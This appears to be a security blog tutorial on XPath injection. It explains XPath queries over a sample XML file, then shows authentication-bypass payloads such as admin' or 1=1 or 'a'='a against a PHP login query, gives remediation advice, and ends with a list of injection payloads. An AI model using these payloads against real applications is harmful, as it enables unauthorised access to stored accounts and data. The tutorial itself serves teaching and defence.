XPath Injection attacks occur when a web site uses user-supplied information to construct an XPath query for XML data XPath is a standard language. When using XML for a web site it is common to accept some form of input on the query string to identify the content to locate and display on the page.
By sending intentionally malformed information into the web site, an attacker can find out how the XML data is structured, or access data that he may not normally have access to.
Querying XML is done with XPath, a type of simple descriptive statement that allows the XML query to locate a piece of information.
This input must be sanitized to verify that it doesn’t mess up the XPath query and return the wrong data. No access controls can be implemented within the XML document. Consequently, the entire XML document can be read out in the event of an XPath injection.
https://owasp.org/www-community/attacks/XPATH_Injection
What is XPATH?
XPath is a major element in the XSLT standard. XPath can be used to navigate through elements and attributes in an XML document.
Based on the image above, we describe each level within the XML sample in the following table.
XPath query |
Result of the XPath query |
/accounts |
The root node accounts are selected. |
//user |
All nodes with the name ‘user’ are selected. |
/accounts/user |
All user nodes that are child nodes of the accounts node are selected. |
/accounts/user[username=‘1337h4×0r’] |
The user node that includes the user name 1337h4×0r is returned. An absolute path starts with /. |
//user[email=‘john@company.com’] |
The user node that includes the e-mail address john@company.com is returned. A relative path starts with //. This selects all nodes that meet the condition(s) set, no matter where in the tree the nodes are located. |
/accounts/child::node() |
This selects all child nodes of the accounts node. |
//user[position()=2] |
This selects the user node at this position. Warning: Since the index starts at 1, this selects the node of the user johnnynormal. |
XPATH Example
https://www.freeformatter.com/xpath-tester.html
<?xml version=”1.0″ encoding=”UTF-8″?>
<accounts>
<user category=”user1″>
<username>vry4n</username >
<firstname>Bryan</firstname >
<lastname>Unknown</lastname>
<email>notyourbusiness@vk9-sec.com</email>
<accounttype>administrator</accounttype>
<password>admin123</password>
</user>
<user category=”user2″>
<username>iuchicha</username>
<firstname>Itachi</firstname>
<lastname>Uchiha</lastname>
<email>iuchiha@vk9-sec.com</email>
<accounttype>guest</accounttype>
<password>admin123</password>
</user>
<system category=”sys1″>
<os>windows</os >
<hostname>win.vk9-sec.com</hostname>
<version>Windows Server 2008</version>
<status>Online</status>
</system>
<system category=”sys2″>
<os>linux</os >
<hostname>lin.vk9-sec.com</hostname>
<version>Ubuntu Server</version>
<status>Offline</status>
</system>
</accounts>
Basic queries
https://metacpan.org/release/XML-XPath
1. Select the root node “accounts”, and print the child contents, notice that only one element is returned with whole data
- /accounts
2. Make a selection per child node, now, we have 2 elements printed
- /accounts/user
- //user
- /accounts/system
- //system
Child node content filter
- /accounts/user/email
Filtering Queries
Select a child node that has vry4n as username
- /accounts/user[username=”vry4n”]
- //user[username=”vry4n”]
Select a child node that has windows as os
- /accounts/system[os=”windows”]
- //system[os=”windows”]
Print sys1 attribute category data, within system child node
- /accounts/system[@category=”sys1″]
- //system[@category=”sys1″]
Example 2
- /accounts/user[attribute::category=”user2″]
- //user[attribute::category=”user2″]
Select all child nodes, under accounts root node
- /accounts/child::node()
Filter child nodes, within user nodes
- /accounts/user/child::node()
- //user/child::node()
Filter child nodes, within user nodes
- /accounts/child::system()
- //child::system()
filter a specific user child node
- /accounts/user[username=”vry4n”]/child::node()
- //user[username=”vry4n”]/child::node()
Filter by position
- /accounts/user[position()=2]
- //user[position()=2]
Filter by position
- /accounts/user[2]
- //user[2]
Filter by last position
- /accounts/system[last()]
- //system[last()]
Some Functions
Count
1. Counting the nodes in root or child nodes
in this case the result is 2 “user1”,”user2”
count(query,query)
- count(//user)
- count(/accounts/user)
String-length
Returns the length of a specified string
string-length(query)
- string-length(/accounts/user[1]/email)
Substring
Returns the substring from start to the specified length. First character is 1. Email is <email>notyourbusiness@vk9-sec.com</email>
substring(query,start,len)
- substring(/accounts/user[1]/email,1,7)
Starts-with
Returns True if string1 starts with string2, in this case the value is vry4n
- starts-with(//user[1]/username,v)
Contains
Returns True if string1 contains string2, in this case the value is vry4n
- contains(//user[1]/username,r)
String & number
Returns the value of the argument
- string(//user[1]/username)
The same happens if the value is numeric, if we pass a string we get false
- number(//user[1]/username)
Exploitation example
<Employee ID=”1″>
<UserName>admin</UserName>
<Password>adminpass</Password>
<Signature>g0t r00t?</Signature>
<Type>Admin</Type>
</Employee>
<Employee ID=”2″>
<UserName>adrian</UserName>
<Password>somepassword</Password>
<Signature>Zombie Films Rock!</Signature>
<Type>Admin</Type>
</Employee>
<Employee ID=”3″>
<UserName>john</UserName>
<Password>monkey</Password>
<Signature>I like the smell of confunk</Signature>
<Type>Admin</Type>
</Employee>
Example of a query that a script uses to retrieve data
In this example we have an authentication mechanism that accepts username & password
Php code
Query
- $lXPathQueryString = “//Employee[UserName='{USERNAME}’ and Password='{PASSWORD}’]”;
Exploitation
1. Using the regular authentication method constructs the following query
- $lXPathQueryString = “//Employee[UserName=’admin’ and Password=’admin’]”;
2. Exploiting this query we can inject a query and modify its behavior, to show the whole database
- the first step is to insert a single quote (‘) in the field to be tested,
- introducing a syntax error in the query
- check whether the application returns an error message.
Username: admin’ or 1=1 or ‘a’=’a
Password: admin123
- $lXPathQueryString = “//Employee[UserName= admin’ or 1=1 or ‘a’=’a’ and Password=’admin123′]”;
In this case, only the first part of the XPath needs to be true. The password part becomes irrelevant, and the UserName part will match ALL employees because of the “1=1” which is always true.
3. To show a single user results, if it exists
admin’ or ‘a’=’a
- $lXPathQueryString = “//Employee[UserName=’admin’ or ‘a’=’a’ and Password=’admin123′]”;
The password can also be text’ or ‘1’ = ‘1
- $lXPathQueryString = “//Employee[UserName=’admin’ or ‘a’=’a’ and Password=’text’ or ‘1’ = ‘1’]”;
Remediation
XPath injection attacks are much like SQL injection attacks. Most of these preventative methods are the same as well to prevent other typical code injection attacks.
- Input Validation: It is one of the best measures to defend applications from XPATH injection attacks. The developer has to ensure that the application does accept only legitimate input.
- Parameterization: In Parameterized queries, the queries are precompiled and instead of passing user input as expressions, parameters are passed.
Most sites have a way to store data, the most common of which is a database. However, some sites use XML to store data, and use a method of looking at the data known as XPath.
Query
- ‘ or ‘1’=’1
- ‘ or ”=’
- x’ or 1=1 or ‘x’=’y
- /
- //
- //*
- */*
- @*
- count(/child::node())
- x’ or name()=’username’ or ‘x’=’y
- ‘ and count(/*)=1 and ‘1’=’1
- ‘ and count(/@*)=1 and ‘1’=’1
- ‘ and count(/comment())=1 and ‘1’=’1